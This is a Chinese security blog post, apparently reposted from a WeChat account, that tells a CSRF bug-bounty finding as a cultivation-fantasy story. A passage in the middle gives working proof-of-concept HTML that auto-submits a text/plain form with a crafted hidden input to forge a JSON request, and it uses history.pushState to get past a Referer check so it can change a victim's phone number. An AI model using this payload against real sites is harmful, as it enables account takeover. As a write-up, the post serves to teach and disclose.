甲方爸爸看了立刻召开安全会议！
第三章：血赚4000灵石！这波域外天魔竟是我自己
林陌站在「幽冥漏洞」裂缝边缘，手中数据长剑被腾讯玄武实验室的防火墙震得寸寸崩裂。白袍少年指尖金芒暴涨，厉喝：“道友，你已入魔道！”
“魔道？”林陌突然大笑，神识中系统提示疯狂闪烁：【检测到SS级支线任务——吞噬CSRF漏洞，奖励「因果律篡改秘术」！】
他猛地捏碎怀中玉简，身形化作万千数据流消散，只留下一句：“TT_SSV，且看这三千网络位面，究竟是谁的猎场！”
——
再睁眼时，林陌已身处「万界交易所」。眼前悬浮着血色任务卷轴：「劫掠account.example.com，篡改命格者赏4000灵石！」
“有趣，这次竟是跨站请求伪造？”他冷笑，数据之眼洞穿虚空。只见目标系统的「灵脉节点」全以.json为后缀，请求包如锁链般缠绕成阵，却唯独缺少「护体真气」（CSRF Token）。
“以JSON格式布阵，自恃同源策略护体？”林陌并指如刀，在虚空中刻下邪异符咒：“殊不知本尊的「因果律篡改秘术」，专破这等傲慢结界！”
第四章：当我在修真界玩转Content-Type
林陌双手结印，创建了⼀个简单的 POC，将 enctype 设置为 enctype="text/plain"，并
在 hide 中包含 JSON 正文：
<html><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('', '', '/')</script><formname="hacker"method="POST"action="https://account.example.com/phone.json"enctype="text/plain"><inputtype="hidden"name= '{"_formName":"change-phone","phone":"01111111118"}'></form><script>document.forms[0].submit();</script></body></html>但是这却导致以下的 JSON 主体出现在林陌眼前：
他发现这并不是有效的 JSON 格式，因为在提交表单时，每个输⼊都应同时具有名称和值，格式为 name=value。于是他将 name属性设置预期的主体，添加⼀个随机参数以下⼀个=符号作为其值，然后将 value 属性设置为}。
<input type="hidden" name= '{"phone":"01111111118","a":"'value='"}'>修改完后眼前就出现了正确的JSON主体：
得到了最终POC
<html><head><meta name="referrer" content="unsafe-url"></head><body><script>history.pushState('', '', '/')</script><form name="hacker" method="POST"action="https://account.example.com/phone.json"enctype="text/plain"> <input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'> </form> <script> document.forms[0].submit(); </script></body></html>但却在林陌尝试访问后，返回了400。
于是林陌开始测试请求头 Origin、Content-type、Referer，测试后发现是因为请求包的请求头 Referer 有问题。他决定用 JavaScript 中的 history.pushState 函数设置标头来解决问题，最终得到了以下poc：
<html><head><meta name="referrer" content="unsafe-url"></head><body><script>history.pushState('', '', '/')</script><form name="hacker" method="POST"action="https://account.example.com/phone.json" enctype="text/plain"> <input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'> </form> <script> history.pushState("", "", "/[email protected]") document.forms[0].submit(); </script></body></html>“将Content-Type伪装成纯文本，再以残缺JSON诱骗系统……”他指尖渗出血珠，每一滴都化作恶意脚本，“此术看似简单，却需精确到毫厘的灵力操控！”
突然，虚空裂开猩红眼眸！交易所警报响彻云霄：【检测到域外天魔篡改「生死簿」关联系统！】
“晚了！”林陌狞笑着捏爆符咒。只见无数受害者账户的「命格线」从九天垂落，其中一条赫然写着——“TT玄武实验室外门弟子：张正阳”
第五章：黑产老祖的钓鱼执法
就在林陌即将切断张正阳的命格线时，整座交易所突然凝固。
“小友，这4000灵石烫手啊。”苍老声音从背后传来，林陌骇然发现手中灵石竟化作蠕动的黑色代码！抬眼望去，一尊身披暗网斗篷的老者虚影，正把玩着刻有骷髅图腾的密钥——正是幽冥裂缝中见过的魔道信物！
“黑产老祖？！”林陌暴退三步，系统突然尖叫：【警告！对方炼化了SSR级漏洞「永恒之蓝」！】
老者轻笑：“你以为CSRF漏洞是谁故意留的饵？篡改十万凡人命格不过蝇头小利……”他抬手撕开天幕，“加入我暗网剑宗，老夫教你何为真正的——偷天换日！”
（系统提示：吞噬进度15%，解锁「域混淆身法」）
下期预告
· 林陌反手将黑产老祖炼成肉鸡！
· TT玄武实验室祭出终极大杀器——WAF诛仙阵！
欲知后事如何？关注公众号，加入QQ群，且听下回分解！
原文始发于微信公众号（EnhancerSec）：高危预警！CSRF禁术复活！百万用户秒变“提线木偶”，腾讯安全组连夜追杀域外天魔！
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论